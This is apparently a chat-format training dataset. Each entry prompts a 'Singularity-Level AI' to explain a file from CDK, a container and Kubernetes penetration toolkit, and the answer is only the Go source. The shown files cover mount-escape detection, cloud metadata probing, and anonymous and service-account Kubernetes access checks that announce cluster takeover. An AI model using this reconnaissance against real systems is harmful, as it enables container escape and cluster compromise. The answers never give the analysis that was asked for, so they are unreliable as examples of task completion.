err})\n\t}\n}\n\nfunc MountEscape() {\n\n\tmounts, _ := util.GetMountInfo()\n\n\tfor _, m := range mounts {\n\n\t\t// TODO: why so may null byte in the Mounts\n\t\t// [Information Gathering - Mounts]\n\t\t// : -\n\t\tif m.Major == \"\" {\n\t\t\tcontinue\n\t\t}\n\n\t\t// ? why match those mount points?\n\t\tif strings.Contains(m.Device, \"/\") || strings.Contains(m.Fstype, \"ext\") {\n\t\t\tmatched, _ := regexp.MatchString(\"/kubelet/|/dev/[\\\\w-]*?\\\\blog$|/etc/host[\\\\w]*?$|/etc/[\\\\w]*?\\\\.conf$\", m.Root)\n\t\t\tif !matched {\n\t\t\t\tm.Root = util.RedBold.Sprint(m.Root)\n\t\t\t\tm.Fstype = util.RedBold.Sprint(m.Fstype)\n\t\t\t}\n\t\t}\n\n\t\t// find lxcfs mount point for escape exploit\n\t\tif m.Device == \"lxcfs\" && util.StringContains(m.Opts, \"rw\") {\n\t\t\tfmt.Printf(\"Find mounted lxcfs with rw flags, run `%s` or `%s` to escape container!\\n\", util.RedBold.Sprint(\"cdk run lxcfs-rw\"), util.RedBold.Sprint(\"cdk run lxcfs-rw-cgroup\"))\n\t\t\tm.Device = util.RedBold.Sprint(m.Device)\n\t\t\tm.MountPoint = util.RedBold.Sprint(m.Device)\n\t\t}\n\n\t\tfmt.Println(m.String())\n\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryMounts, \"mounts.escape\", \"Inspect mount escape opportunities\", MountEscape)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/cloud_metadata_api.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/idoubi/goz\"\n\t\"log\"\n\t\"strings\"\n)\n\nfunc CheckCloudMetadataAPI() {\n\tfor _, apiInstance := range conf.CloudAPI {\n\t\tcli := goz.NewClient(goz.Options{\n\t\t\tTimeout: 1,\n\t\t})\n\t\tresp, err := cli.Get(apiInstance.API)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"failed to dial %s API.\", apiInstance.CloudProvider)\n\t\t\tcontinue\n\t\t}\n\t\tr, _ := resp.GetBody()\n\t\tif strings.Contains(r.String(), apiInstance.ResponseMatch) {\n\t\t\tfmt.Printf(\"\\t%s Metadata API available in %s\\n\", apiInstance.CloudProvider, apiInstance.API)\n\t\t\tfmt.Printf(\"\\tDocs: %s\\n\", apiInstance.DocURL)\n\t\t} else {\n\t\t\tlog.Printf(\"failed to dial %s API.\", apiInstance.CloudProvider)\n\t\t}\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryCloudMetadata, \"cloud.metadata_api\", \"Probe cloud metadata API endpoints\", CheckCloudMetadataAPI)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/engine.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"os\"\n\t\"sort\"\n\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\nconst (\n\tProfileBasic = \"basic\"\n\tProfileExtended = \"extended\"\n\tProfileAdditional = \"additional\"\n)\n\n// Context carries shared dependencies for evaluation checks.\ntype Context struct {\n\tLogger *log.Logger\n}\n\n// NewContext constructs a Context instance with a default logger when none is provided.\nfunc NewContext(logger *log.Logger) *Context {\n\tif logger == nil {\n\t\tlogger = log.New(os.Stderr, \"\", log.LstdFlags)\n\t}\n\treturn &Context{Logger: logger}\n}\n\n// CheckFunc represents the executable unit for a security check.\ntype CheckFunc func(*Context) error\n\n// Check describes an actionable evaluation task.\ntype Check struct {\n\tID string\n\tTitle string\n\tDescription string\n\tRun CheckFunc\n}\n\nfunc (c Check) execute(ctx *Context) error {\n\tif c.Run == nil {\n\t\treturn nil\n\t}\n\treturn c.Run(ctx)\n}\n\n// Category groups related checks under a shared heading.\ntype Category struct {\n\tID string\n\tTitle string\n\tChecks []Check\n}\n\nfunc (c Category) run(ctx *Context) {\n\tutil.PrintH2(c.Title)\n\tlogger := loggerFromContext(ctx)\n\tfor _, check := range c.Checks {\n\t\tif err := check.execute(ctx); err != nil {\n\t\t\tlogger.Printf(\"check %s failed: %v\", readableCheckLabel(check), err)\n\t\t}\n\t}\n}\n\n// Profile combines categories into a runnable unit.\ntype Profile struct {\n\tID string\n\tTitle string\n\tCategories []Category\n}\n\nfunc (p Profile) run(ctx *Context) {\n\tfor _, category := range p.Categories {\n\t\tcategory.run(ctx)\n\t}\n}\n\n// Evaluator coordinates profile registration and execution.\ntype Evaluator struct {\n\tprofiles map[string]Profile\n}\n\n// NewEvaluator returns an Evaluator with the default profiles registered.\nfunc NewEvaluator() *Evaluator {\n\te := &Evaluator{profiles: make(map[string]Profile)}\n\tfor _, profile := range defaultProfiles() {\n\t\te.RegisterProfile(profile)\n\t}\n\treturn e\n}\n\n// RegisterProfile adds or replaces a profile definition.\nfunc (e *Evaluator) RegisterProfile(profile Profile) {\n\tif e.profiles == nil {\n\t\te.profiles = make(map[string]Profile)\n\t}\n\te.profiles[profile.ID] = profile\n}\n\n// Profile returns a copy of the profile and a boolean indicating whether it exists.\nfunc (e *Evaluator) Profile(id string) (Profile, bool) {\n\tprofile, ok := e.profiles[id]\n\treturn profile, ok\n}\n\n// Profiles returns the registered profiles sorted by their identifier.\nfunc (e *Evaluator) Profiles() []Profile {\n\tout := make([]Profile, 0, len(e.profiles))\n\tfor _, profile := range e.profiles {\n\t\tout = append(out, profile)\n\t}\n\tsort.Slice(out, func(i, j int) bool {\n\t\treturn out[i].ID < out[j].ID\n\t})\n\treturn out\n}\n\n// RunProfile executes every category within the selected profile.\nfunc (e *Evaluator) RunProfile(id string, ctx *Context) error {\n\tprofile, ok := e.profiles[id]\n\tif !ok {\n\t\treturn fmt.Errorf(\"unknown profile %q\", id)\n\t}\n\tif ctx == nil {\n\t\tctx = NewContext(nil)\n\t}\n\tprofile.run(ctx)\n\treturn nil\n}\n\nfunc loggerFromContext(ctx *Context) *log.Logger {\n\tif ctx != nil && ctx.Logger != nil {\n\t\treturn ctx.Logger\n\t}\n\treturn log.Default()\n}\n\nfunc readableCheckLabel(check Check) string {\n\tif check.ID != \"\" {\n\t\treturn fmt.Sprintf(\"%s (%s)\", check.Title, check.ID)\n\t}\n\treturn check.Title\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/evaluate.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport \"log\"\n\n// CallBasics executes the baseline evaluation profile.\nfunc CallBasics() {\n\tif err := NewEvaluator().RunProfile(ProfileBasic, nil); err != nil {\n\t\tlog.Printf(\"basic evaluation failed: %v\", err)\n\t}\n}\n\n// CallAddedFunc executes the additional evaluation profile.\nfunc CallAddedFunc() {\n\tif err := NewEvaluator().RunProfile(ProfileAdditional, nil); err != nil {\n\t\tlog.Printf(\"additional evaluation failed: %v\", err)\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/evaluate_test.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport \"testing\"\n\nfunc TestEvaluatorProfiles(t *testing.T) {\n\tevaluator := NewEvaluator()\n\tprofiles := evaluator.Profiles()\n\trequired := map[string]bool{\n\t\tProfileBasic: false,\n\t\tProfileExtended: false,\n\t\tProfileAdditional: false,\n\t}\n\tfor _, profile := range profiles {\n\t\tif _, ok := required[profile.ID]; ok {\n\t\t\trequired[profile.ID] = true\n\t\t}\n\t}\n\tfor id, seen := range required {\n\t\tif !seen {\n\t\t\tt.Fatalf(\"expected profile %q to be registered\", id)\n\t\t}\n\t}\n}\n\nfunc TestProfileComposition(t *testing.T) {\n\tevaluator := NewEvaluator()\n\tbasic, ok := evaluator.Profile(ProfileBasic)\n\tif !ok {\n\t\tt.Fatalf(\"basic profile not registered\")\n\t}\n\textended, ok := evaluator.Profile(ProfileExtended)\n\tif !ok {\n\t\tt.Fatalf(\"extended profile not registered\")\n\t}\n\tif len(extended.Categories) <= len(basic.Categories) {\n\t\tt.Fatalf(\"expected extended profile to contain more categories than basic profile\")\n\t}\n}\n\nfunc TestRunUnknownProfile(t *testing.T) {\n\tevaluator := NewEvaluator()\n\tif err := evaluator.RunProfile(\"unknown\", nil); err == nil {\n\t\tt.Fatalf(\"expected an error when running an unknown profile\")\n\t}\n}\n\nfunc TestCallWrappers(t *testing.T) {\n\tCallBasics()\n\tCallAddedFunc()\n\tif err := NewEvaluator().RunProfile(ProfileExtended, nil); err != nil {\n\t\tt.Fatalf(\"extended profile run failed: %v\", err)\n\t}\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/k8s_anonymous_login.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nfunc CheckK8sAnonymousLogin() bool {\n\n\t// check if api-server allows system:anonymous request\n\tlog.Println(\"checking if api-server allows system:anonymous request.\")\n\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: \"\",\n\t\t\tServer: \"\", // default\n\t\t\tApi: \"/\",\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: true,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t}\n\n\tif strings.Contains(resp, \"/api\") {\n\t\tfmt.Println(\"\\tcongrats, api-server allows anonymous request.\")\n\t\tlog.Println(\"trying to list namespaces\")\n\n\t\t// check if system:anonymous can list namespaces\n\t\tresp, err := kubectl.ServerAccountRequest(\n\t\t\tkubectl.K8sRequestOption{\n\t\t\t\tTokenPath: \"\",\n\t\t\t\tServer: \"\", // default\n\t\t\t\tApi: \"/api/v1/namespaces\",\n\t\t\t\tMethod: \"get\",\n\t\t\t\tPostData: \"\",\n\t\t\t\tAnonymous: true,\n\t\t\t})\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tif len(resp) > 0 && strings.Contains(resp, \"kube-system\") {\n\t\t\tfmt.Println(\"\\tsuccess, the system:anonymous role have a high authority.\")\n\t\t\tfmt.Println(\"\\tnow you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command\\n\\tgood luck and have fun.\")\n\t\t\treturn true\n\t\t} else {\n\t\t\tfmt.Println(\"\\tfailed.\")\n\t\t\tfmt.Println(\"\\tresponse:\" + resp)\n\t\t\treturn true\n\t\t}\n\t} else {\n\t\tfmt.Println(\"\\tapi-server forbids anonymous request.\")\n\t\tfmt.Println(\"\\tresponse:\" + resp)\n\t\treturn false\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(\n\t\tCategoryK8sAPIServer,\n\t\t\"k8s.anonymous_login\",\n\t\t\"Attempt anonymous Kubernetes API login\",\n\t\tfunc() {\n\t\t\tCheckK8sAnonymousLogin()\n\t\t},\n\t)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/k8s_service_account.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"log\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/tool/kubectl\"\n)\n\nfunc CheckPrivilegedK8sServiceAccount(tokenPath string) bool {\n\tresp, err := kubectl.ServerAccountRequest(\n\t\tkubectl.K8sRequestOption{\n\t\t\tTokenPath: \"\",\n\t\t\tServer: \"\",\n\t\t\tApi: \"/apis\",\n\t\t\tMethod: \"get\",\n\t\t\tPostData: \"\",\n\t\t\tAnonymous: false,\n\t\t})\n\tif err != nil {\n\t\tfmt.Println(err)\n\t\treturn false\n\t}\n\tif len(resp) > 0 && strings.Contains(resp, \"APIGroupList\") {\n\t\tfmt.Println(\"\\tservice-account is available\")\n\n\t\t// check if the current service-account can list namespaces\n\t\tlog.Println(\"trying to list namespaces\")\n\t\tresp, err := kubectl.ServerAccountRequest(\n\t\t\tkubectl.K8sRequestOption{\n\t\t\t\tTokenPath: \"\",\n\t\t\t\tServer: \"\",\n\t\t\t\tApi: \"/api/v1/namespaces\",\n\t\t\t\tMethod: \"get\",\n\t\t\t\tPostData: \"\",\n\t\t\t\tAnonymous: false,\n\t\t\t})\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t\treturn false\n\t\t}\n\t\tif len(resp) > 0 && strings.Contains(resp, \"kube-system\") {\n\t\t\tfmt.Println(\"\\tsuccess, the service-account have a high authority.\")\n\t\t\tfmt.Println(\"\\tnow you can make your own request to takeover the entire k8s cluster with `./cdk kcurl` command\\n\\tgood luck and have fun.\")\n\t\t\treturn true\n\t\t} else {\n\t\t\tfmt.Println(\"\\tfailed\")\n\t\t\tfmt.Println(\"\\tresponse:\" + resp)\n\t\t\treturn false\n\t\t}\n\t} else {\n\t\tfmt.Println(\"\\tservice-account is not available\")\n\t\tfmt.Println(\"\\tresponse:\" + resp)\n\t\treturn false\n\t}\n}\n\nfunc init() {\n\tRegisterSimpleCheck(\n\t\tCategoryK8sServiceAccount,\n\t\t\"k8s.privileged_service_account\",\n\t\t\"Check Kubernetes service account privileges\",\n\t\tfunc() {\n\t\t\tCheckPrivilegedK8sServiceAccount(conf.K8sSATokenDefaultPath)\n\t\t},\n\t)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/kernel.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage evaluate\n\nimport (\n\t\"os/exec\"\n\t\"strings\"\n\n\t\"github.com/cdk-team/CDK/conf\"\n\t\"github.com/cdk-team/CDK/pkg/util\"\n)\n\n// kernelExploitSuggester\n// use https://github.com/mzet-/linux-exploit-suggester to check kernel exploit\n// run linux-exploit-suggester bash script to check kernel exploit\nfunc kernelExploitSuggester() {\n\tscript := conf.KernelExploitScript\n\t// check bash command available\n\t_, err := exec.LookPath(\"bash\")\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// run command get output\n\tutil.PrintItemValueWithKeyOneLine(\"refer\", \"https://github.com/mzet-/linux-exploit-suggester\", false)\n\toutput, err := exec.Command(\"bash\", \"-c\", script).Output()\n\tif err != nil {\n\t\treturn\n\t}\n\n\t// get all available exploit\n\t// sed \"s,$(printf '\\033')\\\\[[0-9;]*[a-zA-Z],,g\" | grep -i \"\\[CVE\" -A 10 | grep -Ev \"^\\-\\-$\" | sed -${E} \"s,\\[CVE-[0-9]+-[0-9]+\\].*,${SED_RED},g\"\n\t// ANSI escape code in output, reg can not match it\n\tindexs := make([]int, 0)\n\tlines := strings.Split(string(output), \"\\n\")\n\tfor index, line := range lines {\n\t\tif strings.Contains(line, \"[CVE\") {\n\t\t\tindexs = append(indexs, index)\n\t\t}\n\t}\n\n\t// print all exploit and after 10 lines\n\tfor _, index := range indexs {\n\t\tfor i := index; i < index+10; i++ {\n\t\t\tif i >= len(lines) {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\t// do not print CVE number twice\n\t\t\tif i != index && strings.Contains(lines[i], \"[CVE\") {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tutil.PrintOrignal(lines[i])\n\t\t}\n\t}\n\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryKernel, \"kernel.exploits\", \"Suggest applicable kernel exploits\", kernelExploitSuggester)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/network_namespace.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc CheckNetNamespace() {\n\tp := \"/proc/net/unix\"\n\tdata, err := ioutil.ReadFile(p)\n\tif err != nil {\n\t\tlog.Println(\"err found while open\", p)\n\t\treturn\n\t}\n\n\tif strings.Contains(string(data), \"/systemd/\") || strings.Contains(string(data), \"/run/user/\") {\n\t\tfmt.Println(\"\\thost unix-socket found, seems container started with --net=host privilege.\")\n\t} else {\n\t\tfmt.Println(\"\\tcontainer net namespace isolated.\")\n\t}\n\n\tpattern := regexp.MustCompile(`\\@/containerd-shim/[\\w\\d\\/-]*?\\.sock`)\n\tparams := pattern.FindAllStringSubmatch(string(data), -1)\n\tfor _, matched := range params {\n\t\tfmt.Printf(\"\\tfound containerd-shim socket in: %s\\n\", matched)\n\t}\n\n}\n\nfunc init() {\n\tRegisterSimpleCheck(CategoryNetNamespace, \"network.namespace\", \"Inspect network namespace isolation\", CheckNetNamespace)\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/registry.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\npackage evaluate\n\nimport (\n\t\"fmt\"\n\t\"sort\"\n\t\"sync\"\n)\n\nconst defaultCategoryOrderStep = 100\n\n// CategorySpec describes where a check is shown and its display metadata.\ntype CategorySpec struct {\n\tID string\n\tTitle string\n\tDefaultProfiles []string\n\tOrder int\n}\n\ntype registeredCheck struct {\n\tcheck Check\n\tprofiles map[string]struct{}\n\torder int\n}\n\ntype categoryRegistration struct {\n\tspec CategorySpec\n\tchecks []*registeredCheck\n\tnextCheckOrder int\n}\n\ntype registry struct {\n\tmu sync.RWMutex\n\tcategories map[string]*categoryRegistration\n}\n\nvar (\n\tglobalRegistry = newRegistry()\n\tprofileTitles = map[string]string{\n\t\tProfileBasic: \"Baseline information gathering\",\n\t\tProfileExtended: \"Extended reconnaissance\",\n\t\tProfileAdditional: \"Additional evaluation checks\",\n\t}\n)\n\nfunc newRegistry() *registry {\n\treturn ®istry{\n\t\tcategories: make(map[string]*categoryRegistration),\n\t}\n}\n\n// RegisterCheck registers a check with the given category and optional profile list.\nfunc RegisterCheck(category CategorySpec, check Check, profiles ...string) {\n\tif err := globalRegistry.register(category, check, profiles...); err != nil {\n\t\tpanic(err)\n\t}\n}\n\n// RegisterSimpleCheck registers a check backed by a parameterless function.\nfunc RegisterSimpleCheck(category CategorySpec, id, title string, fn func(), profiles ...string) {\n\tRegisterCheck(category, Check{\n\t\tID: id,\n\t\tTitle: title,\n\t\tRun: func(*Context) error {\n\t\t\tfn()\n\t\t\treturn nil\n\t\t},\n\t}, profiles...)\n}\n\n// RegisterContextCheck registers a check backed by a function that consumes Context.\nfunc RegisterContextCheck(category CategorySpec, id, title string, fn CheckFunc, profiles ...string) {\n\tRegisterCheck(category, Check{\n\t\tID: id,\n\t\tTitle: title,\n\t\tRun: fn,\n\t}, profiles...)\n}\n\nfunc (r *registry) register(spec CategorySpec, check Check, profiles ...string) error {\n\tif spec.ID == \"\" {\n\t\treturn fmt.Errorf(\"category ID cannot be empty\")\n\t}\n\tif check.ID == \"\" {\n\t\treturn fmt.Errorf(\"check ID cannot be empty\")\n\t}\n\tif check.Title == \"\" {\n\t\treturn fmt.Errorf(\"check title cannot be empty\")\n\t}\n\tif check.Run == nil {\n\t\treturn fmt.Errorf(\"check %s has no runnable function\", check.ID)\n\t}\n\n\tr.mu.Lock()\n\tdefer r.mu.Unlock()\n\n\tentry, ok := r.categories[spec.ID]\n\tif !ok {\n\t\tif spec.Order == 0 {\n\t\t\tspec.Order = r.nextCategoryOrder()\n\t\t}\n\t\tentry = &categoryRegistration{\n\t\t\tspec: spec,\n\t\t}\n\t\tr.categories[spec.ID] = entry\n\t} else {\n\t\tif entry.spec.Title != spec.Title {\n\t\t\treturn fmt.Errorf(\"category %s already registered with title %q (new title: %q)\", spec.ID, entry.spec.Title, spec.Title)\n\t\t}\n\t\tif entry.spec.Order == 0 && spec.Order != 0 {\n\t\t\tentry.spec.Order = spec.Order\n\t\t}\n\t\tif len(entry.spec.DefaultProfiles) == 0 && len(spec.DefaultProfiles) > 0 {\n\t\t\tentry.spec.DefaultProfiles = append([]string(nil), spec.DefaultProfiles...)\n\t\t}\n\t}\n\n\tactiveProfiles := profiles\n\tif len(activeProfiles) == 0 {\n\t\tactiveProfiles = entry.spec.DefaultProfiles\n\t}\n\tif len(activeProfiles) == 0 {\n\t\treturn fmt.Errorf(\"no profiles specified for check %s in category %s\", check.ID, spec.ID)\n\t}\n\n\tnewCheck := ®isteredCheck{\n\t\tcheck: check,\n\t\tprofiles: make(map[string]struct{}, len(activeProfiles)),\n\t\torder: entry.nextCheckOrder,\n\t}\n\tentry.nextCheckOrder++\n\n\tfor _, profileID := range activeProfiles {\n\t\tnewCheck.profiles[profileID] = struct{}{}\n\t}\n\n\tentry.checks = append(entry.checks, newCheck)\n\treturn nil\n}\n\nfunc (r *registry) nextCategoryOrder() int {\n\tmaxOrder := 0\n\tfor _, entry := range r.categories {\n\t\tif entry.spec.Order > maxOrder {\n\t\t\tmaxOrder = entry.spec.Order\n\t\t}\n\t}\n\treturn maxOrder + defaultCategoryOrderStep\n}\n\nfunc (r *registry) profiles() []Profile {\n\tr.mu.RLock()\n\tdefer r.mu.RUnlock()\n\n\tbuilders := make(map[string]*profileBuilder)\n\n\tfor _, entry := range r.categories {\n\t\tfor _, regCheck := range entry.checks {\n\t\t\tfor profileID := range regCheck.profiles {\n\t\t\t\tbuilder := builders[profileID]\n\t\t\t\tif builder == nil {\n\t\t\t\t\tbuilder = newProfileBuilder(profileID)\n\t\t\t\t\tbuilders[profileID] = builder\n\t\t\t\t}\n\t\t\t\tbuilder.addCheck(entry.spec, regCheck)\n\t\t\t}\n\t\t}\n\t}\n\n\tout := make([]Profile, 0, len(builders))\n\tfor _, builder := range builders {\n\t\tout = append(out, builder.build())\n\t}\n\n\tsort.Slice(out, func(i, j int) bool {\n\t\treturn out[i].ID < out[j].ID\n\t})\n\n\treturn out\n}\n\ntype profileBuilder struct {\n\tid string\n\ttitle string\n\tcategories map[string]*categoryBuilder\n}\n\nfunc newProfileBuilder(id string) *profileBuilder {\n\ttitle, ok := profileTitles[id]\n\tif !ok {\n\t\ttitle = id\n\t}\n\treturn &profileBuilder{\n\t\tid: id,\n\t\ttitle: title,\n\t\tcategories: make(map[string]*categoryBuilder),\n\t}\n}\n\nfunc (p *profileBuilder) addCheck(spec CategorySpec, regCheck *registeredCheck) {\n\tbuilder := p.categories[spec.ID]\n\tif builder == nil {\n\t\tbuilder = &categoryBuilder{\n\t\t\tspec: spec,\n\t\t}\n\t\tp.categories[spec.ID] = builder\n\t}\n\tbuilder.checks = append(builder.checks, checkWithOrder{\n\t\tcheck: regCheck.check,\n\t\torder: regCheck.order,\n\t})\n}\n\nfunc (p *profileBuilder) build() Profile {\n\tbuilders := make([]*categoryBuilder, 0, len(p.categories))\n\tfor _, cat := range p.categories {\n\t\tbuilders = append(builders, cat)\n\t}\n\tsort.Slice(builders, func(i, j int) bool {\n\t\torderA := builders[i].spec.Order\n\t\torderB := builders[j].spec.Order\n\t\tif orderA == orderB {\n\t\t\treturn builders[i].spec.Title < builders[j].spec.Title\n\t\t}\n\t\treturn orderA < orderB\n\t})\n\n\tcategories := make([]Category, len(builders))\n\tfor idx, cat := range builders {\n\t\tcategories[idx] = cat.build()\n\t}\n\n\treturn Profile{\n\t\tID: p.id,\n\t\tTitle: p.title,\n\t\tCategories: categories,\n\t}\n}\n\ntype categoryBuilder struct {\n\tspec CategorySpec\n\tchecks []checkWithOrder\n}\n\ntype checkWithOrder struct {\n\tcheck Check\n\torder int\n}\n\nfunc (c *categoryBuilder) build() Category {\n\tsort.SliceStable(c.checks, func(i, j int) bool {\n\t\treturn c.checks[i].order < c.checks[j].order\n\t})\n\n\tchecks := make([]Check, 0, len(c.checks))\n\tfor _, ch := range c.checks {\n\t\tchecks = append(checks, ch.check)\n\t}\n\n\treturn Category{\n\t\tID: c.spec.ID,\n\t\tTitle: c.spec.Title,\n\t\tChecks: checks,\n\t}\n}\n\nfunc defaultProfiles() []Profile {\n\treturn globalRegistry.profiles()\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/security_info.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage evaluate\n\nfunc SecurityInfo() {\n\n}\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'CDK' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: pkg/evaluate/sensitive_env.go\n<|im_end|>\n<|im_start|>assistant\nREPO: CDK\nCODE:\n/*\nCopyright 2022 The Authors of https://github.com/CDK-TEAM/CDK .\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT 